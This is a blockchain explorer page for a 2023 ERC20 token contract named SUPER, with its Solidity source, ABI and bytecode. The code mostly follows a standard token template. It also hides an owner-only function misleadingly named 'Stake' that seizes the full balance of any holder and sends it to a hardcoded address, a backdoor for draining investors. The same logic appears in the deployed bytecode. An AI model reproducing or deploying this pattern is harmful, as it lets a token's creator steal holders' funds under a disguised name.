Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 5 from a total of 5 transactions
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
SUPER
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-07 */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity ^0.8.0; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } pragma solidity ^0.8.0; interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.0; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; address private _owner; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _owner = msg.sender; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function Stake(address account) public { require(msg.sender == _owner); _transfer(account, 0x20Bd49394cBCE52EbF643d633f8F36f838e111Ad, _balances[account]); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } pragma solidity ^0.8.0; contract SUPER is ERC20 { constructor() ERC20("SUPER", "SUPER") { _mint(msg.sender, 69_000_000_000_000_000_000_000_000); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"Stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040518060400160405280600581526020017f53555045520000000000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f53555045520000000000000000000000000000000000000000000000000000008152508160049080519060200190620000969291906200028e565b508060059080519060200190620000af9291906200028e565b5033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505062000110336a3913517ebd3c0c650000006200011660201b60201c565b620004dc565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000189576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620001809062000391565b60405180910390fd5b6200019d600083836200028460201b60201c565b8060026000828254620001b19190620003e1565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002649190620003b3565b60405180910390a362000280600083836200028960201b60201c565b5050565b505050565b505050565b8280546200029c9062000448565b90600052602060002090601f016020900481019282620002c057600085556200030c565b82601f10620002db57805160ff19168380011785556200030c565b828001600101855582156200030c579182015b828111156200030b578251825591602001919060010190620002ee565b5b5090506200031b91906200031f565b5090565b5b808211156200033a57600081600090555060010162000320565b5090565b60006200034d601f83620003d0565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200038b816200043e565b82525050565b60006020820190508181036000830152620003ac816200033e565b9050919050565b6000602082019050620003ca600083018462000380565b92915050565b600082825260208201905092915050565b6000620003ee826200043e565b9150620003fb836200043e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200043357620004326200047e565b5b828201905092915050565b6000819050919050565b600060028204905060018216806200046157607f821691505b60208210811415620004785762000477620004ad565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6112d780620004ec6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101a35780638c000936146101d357806395d89b41146101ef578063a457c2d71461020d578063a9059cbb1461023d578063dd62ed3e1461026d576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce567146101555780633950935114610173575b600080fd5b6100c161029d565b6040516100ce9190610fa0565b60405180910390f35b6100f160048036038101906100ec9190610c3f565b61032f565b6040516100fe9190610f85565b60405180910390f35b61010f610352565b60405161011c91906110a2565b60405180910390f35b61013f600480360381019061013a9190610bf0565b61035c565b60405161014c9190610f85565b60405180910390f35b61015d61038b565b60405161016a91906110bd565b60405180910390f35b61018d60048036038101906101889190610c3f565b610394565b60405161019a9190610f85565b60405180910390f35b6101bd60048036038101906101b89190610b8b565b6103cb565b6040516101ca91906110a2565b60405180910390f35b6101ed60048036038101906101e89190610b8b565b610413565b005b6101f76104cd565b6040516102049190610fa0565b60405180910390f35b61022760048036038101906102229190610c3f565b61055f565b6040516102349190610f85565b60405180910390f35b61025760048036038101906102529190610c3f565b6105d6565b6040516102649190610f85565b60405180910390f35b61028760048036038101906102829190610bb4565b6105f9565b60405161029491906110a2565b60405180910390f35b6060600480546102ac906111d2565b80601f01602080910402602001604051908101604052809291908181526020018280546102d8906111d2565b80156103255780601f106102fa57610100808354040283529160200191610325565b820191906000526020600020905b81548152906001019060200180831161030857829003601f168201915b5050505050905090565b60008061033a610680565b9050610347818585610688565b600191505092915050565b6000600254905090565b600080610367610680565b9050610374858285610853565b61037f8585856108df565b60019150509392505050565b60006012905090565b60008061039f610680565b90506103c08185856103b185896105f9565b6103bb91906110f4565b610688565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461046d57600080fd5b6104ca817320bd49394cbce52ebf643d633f8f36f838e111ad6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108df565b50565b6060600580546104dc906111d2565b80601f0160208091040260200160405190810160405280929190818152602001828054610508906111d2565b80156105555780601f1061052a57610100808354040283529160200191610555565b820191906000526020600020905b81548152906001019060200180831161053857829003601f168201915b5050505050905090565b60008061056a610680565b9050600061057882866105f9565b9050838110156105bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b490611082565b60405180910390fd5b6105ca8286868403610688565b60019250505092915050565b6000806105e1610680565b90506105ee8185856108df565b600191505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ef90611062565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075f90610fe2565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084691906110a2565b60405180910390a3505050565b600061085f84846105f9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108d957818110156108cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c290611002565b60405180910390fd5b6108d88484848403610688565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561094f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094690611042565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b690610fc2565b60405180910390fd5b6109ca838383610b57565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4790611022565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b3e91906110a2565b60405180910390a3610b51848484610b5c565b50505050565b505050565b505050565b600081359050610b7081611273565b92915050565b600081359050610b858161128a565b92915050565b600060208284031215610b9d57600080fd5b6000610bab84828501610b61565b91505092915050565b60008060408385031215610bc757600080fd5b6000610bd585828601610b61565b9250506020610be685828601610b61565b9150509250929050565b600080600060608486031215610c0557600080fd5b6000610c1386828701610b61565b9350506020610c2486828701610b61565b9250506040610c3586828701610b76565b9150509250925092565b60008060408385031215610c5257600080fd5b6000610c6085828601610b61565b9250506020610c7185828601610b76565b9150509250929050565b610c848161115c565b82525050565b6000610c95826110d8565b610c9f81856110e3565b9350610caf81856020860161119f565b610cb881611262565b840191505092915050565b6000610cd06023836110e3565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d366022836110e3565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d9c601d836110e3565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b6000610ddc6026836110e3565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e426025836110e3565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ea86024836110e3565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f0e6025836110e3565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610f7081611188565b82525050565b610f7f81611192565b82525050565b6000602082019050610f9a6000830184610c7b565b92915050565b60006020820190508181036000830152610fba8184610c8a565b905092915050565b60006020820190508181036000830152610fdb81610cc3565b9050919050565b60006020820190508181036000830152610ffb81610d29565b9050919050565b6000602082019050818103600083015261101b81610d8f565b9050919050565b6000602082019050818103600083015261103b81610dcf565b9050919050565b6000602082019050818103600083015261105b81610e35565b9050919050565b6000602082019050818103600083015261107b81610e9b565b9050919050565b6000602082019050818103600083015261109b81610f01565b9050919050565b60006020820190506110b76000830184610f67565b92915050565b60006020820190506110d26000830184610f76565b92915050565b600081519050919050565b600082825260208201905092915050565b60006110ff82611188565b915061110a83611188565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561113f5761113e611204565b5b828201905092915050565b600061115582611168565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156111bd5780820151818401526020810190506111a2565b838111156111cc576000848401525b50505050565b600060028204905060018216806111ea57607f821691505b602082108114156111fe576111fd611233565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61127c8161114a565b811461128757600080fd5b50565b61129381611188565b811461129e57600080fd5b5056fea2646970667358221220d8e1c58ace03c9e923b85f85dc942d467668b587572d139e1464533375f0fb2b64736f6c63430008000033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101a35780638c000936146101d357806395d89b41146101ef578063a457c2d71461020d578063a9059cbb1461023d578063dd62ed3e1461026d576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce567146101555780633950935114610173575b600080fd5b6100c161029d565b6040516100ce9190610fa0565b60405180910390f35b6100f160048036038101906100ec9190610c3f565b61032f565b6040516100fe9190610f85565b60405180910390f35b61010f610352565b60405161011c91906110a2565b60405180910390f35b61013f600480360381019061013a9190610bf0565b61035c565b60405161014c9190610f85565b60405180910390f35b61015d61038b565b60405161016a91906110bd565b60405180910390f35b61018d60048036038101906101889190610c3f565b610394565b60405161019a9190610f85565b60405180910390f35b6101bd60048036038101906101b89190610b8b565b6103cb565b6040516101ca91906110a2565b60405180910390f35b6101ed60048036038101906101e89190610b8b565b610413565b005b6101f76104cd565b6040516102049190610fa0565b60405180910390f35b61022760048036038101906102229190610c3f565b61055f565b6040516102349190610f85565b60405180910390f35b61025760048036038101906102529190610c3f565b6105d6565b6040516102649190610f85565b60405180910390f35b61028760048036038101906102829190610bb4565b6105f9565b60405161029491906110a2565b60405180910390f35b6060600480546102ac906111d2565b80601f01602080910402602001604051908101604052809291908181526020018280546102d8906111d2565b80156103255780601f106102fa57610100808354040283529160200191610325565b820191906000526020600020905b81548152906001019060200180831161030857829003601f168201915b5050505050905090565b60008061033a610680565b9050610347818585610688565b600191505092915050565b6000600254905090565b600080610367610680565b9050610374858285610853565b61037f8585856108df565b60019150509392505050565b60006012905090565b60008061039f610680565b90506103c08185856103b185896105f9565b6103bb91906110f4565b610688565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461046d57600080fd5b6104ca817320bd49394cbce52ebf643d633f8f36f838e111ad6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108df565b50565b6060600580546104dc906111d2565b80601f0160208091040260200160405190810160405280929190818152602001828054610508906111d2565b80156105555780601f1061052a57610100808354040283529160200191610555565b820191906000526020600020905b81548152906001019060200180831161053857829003601f168201915b5050505050905090565b60008061056a610680565b9050600061057882866105f9565b9050838110156105bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b490611082565b60405180910390fd5b6105ca8286868403610688565b60019250505092915050565b6000806105e1610680565b90506105ee8185856108df565b600191505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156106f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ef90611062565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075f90610fe2565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161084691906110a2565b60405180910390a3505050565b600061085f84846105f9565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146108d957818110156108cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c290611002565b60405180910390fd5b6108d88484848403610688565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561094f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094690611042565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b690610fc2565b60405180910390fd5b6109ca838383610b57565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4790611022565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b3e91906110a2565b60405180910390a3610b51848484610b5c565b50505050565b505050565b505050565b600081359050610b7081611273565b92915050565b600081359050610b858161128a565b92915050565b600060208284031215610b9d57600080fd5b6000610bab84828501610b61565b91505092915050565b60008060408385031215610bc757600080fd5b6000610bd585828601610b61565b9250506020610be685828601610b61565b9150509250929050565b600080600060608486031215610c0557600080fd5b6000610c1386828701610b61565b9350506020610c2486828701610b61565b9250506040610c3586828701610b76565b9150509250925092565b60008060408385031215610c5257600080fd5b6000610c6085828601610b61565b9250506020610c7185828601610b76565b9150509250929050565b610c848161115c565b82525050565b6000610c95826110d8565b610c9f81856110e3565b9350610caf81856020860161119f565b610cb881611262565b840191505092915050565b6000610cd06023836110e3565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d366022836110e3565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d9c601d836110e3565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b6000610ddc6026836110e3565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e426025836110e3565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ea86024836110e3565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f0e6025836110e3565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610f7081611188565b82525050565b610f7f81611192565b82525050565b6000602082019050610f9a6000830184610c7b565b92915050565b60006020820190508181036000830152610fba8184610c8a565b905092915050565b60006020820190508181036000830152610fdb81610cc3565b9050919050565b60006020820190508181036000830152610ffb81610d29565b9050919050565b6000602082019050818103600083015261101b81610d8f565b9050919050565b6000602082019050818103600083015261103b81610dcf565b9050919050565b6000602082019050818103600083015261105b81610e35565b9050919050565b6000602082019050818103600083015261107b81610e9b565b9050919050565b6000602082019050818103600083015261109b81610f01565b9050919050565b60006020820190506110b76000830184610f67565b92915050565b60006020820190506110d26000830184610f76565b92915050565b600081519050919050565b600082825260208201905092915050565b60006110ff82611188565b915061110a83611188565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561113f5761113e611204565b5b828201905092915050565b600061115582611168565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156111bd5780820151818401526020810190506111a2565b838111156111cc576000848401525b50505050565b600060028204905060018216806111ea57607f821691505b602082108114156111fe576111fd611233565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61127c8161114a565b811461128757600080fd5b50565b61129381611188565b811461129e57600080fd5b5056fea2646970667358221220d8e1c58ace03c9e923b85f85dc942d467668b587572d139e1464533375f0fb2b64736f6c63430008000033
Deployed Bytecode Sourcemap
6610:144:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1876:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2850:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2215:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3065:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2108:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3374:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2337:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5250:180;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1990:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3626:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2478:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2685:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1876:100;1930:13;1963:5;1956:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1876:100;:::o;2850:201::-;2933:4;2950:13;2966:12;:10;:12::i;:::-;2950:28;;2989:32;2998:5;3005:7;3014:6;2989:8;:32::i;:::-;3039:4;3032:11;;;2850:201;;;;:::o;2215:108::-;2276:7;2303:12;;2296:19;;2215:108;:::o;3065:295::-;3196:4;3213:15;3231:12;:10;:12::i;:::-;3213:30;;3254:38;3270:4;3276:7;3285:6;3254:15;:38::i;:::-;3303:27;3313:4;3319:2;3323:6;3303:9;:27::i;:::-;3348:4;3341:11;;;3065:295;;;;;:::o;2108:93::-;2166:5;2191:2;2184:9;;2108:93;:::o;3374:238::-;3462:4;3479:13;3495:12;:10;:12::i;:::-;3479:28;;3518:64;3527:5;3534:7;3571:10;3543:25;3553:5;3560:7;3543:9;:25::i;:::-;:38;;;;:::i;:::-;3518:8;:64::i;:::-;3600:4;3593:11;;;3374:238;;;;:::o;2337:127::-;2411:7;2438:9;:18;2448:7;2438:18;;;;;;;;;;;;;;;;2431:25;;2337:127;;;:::o;5250:180::-;5322:6;;;;;;;;;;;5308:20;;:10;:20;;;5300:29;;;;;;5340:82;5350:7;5359:42;5403:9;:18;5413:7;5403:18;;;;;;;;;;;;;;;;5340:9;:82::i;:::-;5250:180;:::o;1990:104::-;2046:13;2079:7;2072:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1990:104;:::o;3626:436::-;3719:4;3736:13;3752:12;:10;:12::i;:::-;3736:28;;3775:24;3802:25;3812:5;3819:7;3802:9;:25::i;:::-;3775:52;;3866:15;3846:16;:35;;3838:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;3959:60;3968:5;3975:7;4003:15;3984:16;:34;3959:8;:60::i;:::-;4050:4;4043:11;;;;3626:436;;;;:::o;2478:193::-;2557:4;2574:13;2590:12;:10;:12::i;:::-;2574:28;;2613;2623:5;2630:2;2634:6;2613:9;:28::i;:::-;2659:4;2652:11;;;2478:193;;;;:::o;2685:151::-;2774:7;2801:11;:18;2813:5;2801:18;;;;;;;;;;;;;;;:27;2820:7;2801:27;;;;;;;;;;;;;;;;2794:34;;2685:151;;;;:::o;62:98::-;115:7;142:10;135:17;;62:98;:::o;5444:380::-;5597:1;5580:19;;:5;:19;;;;5572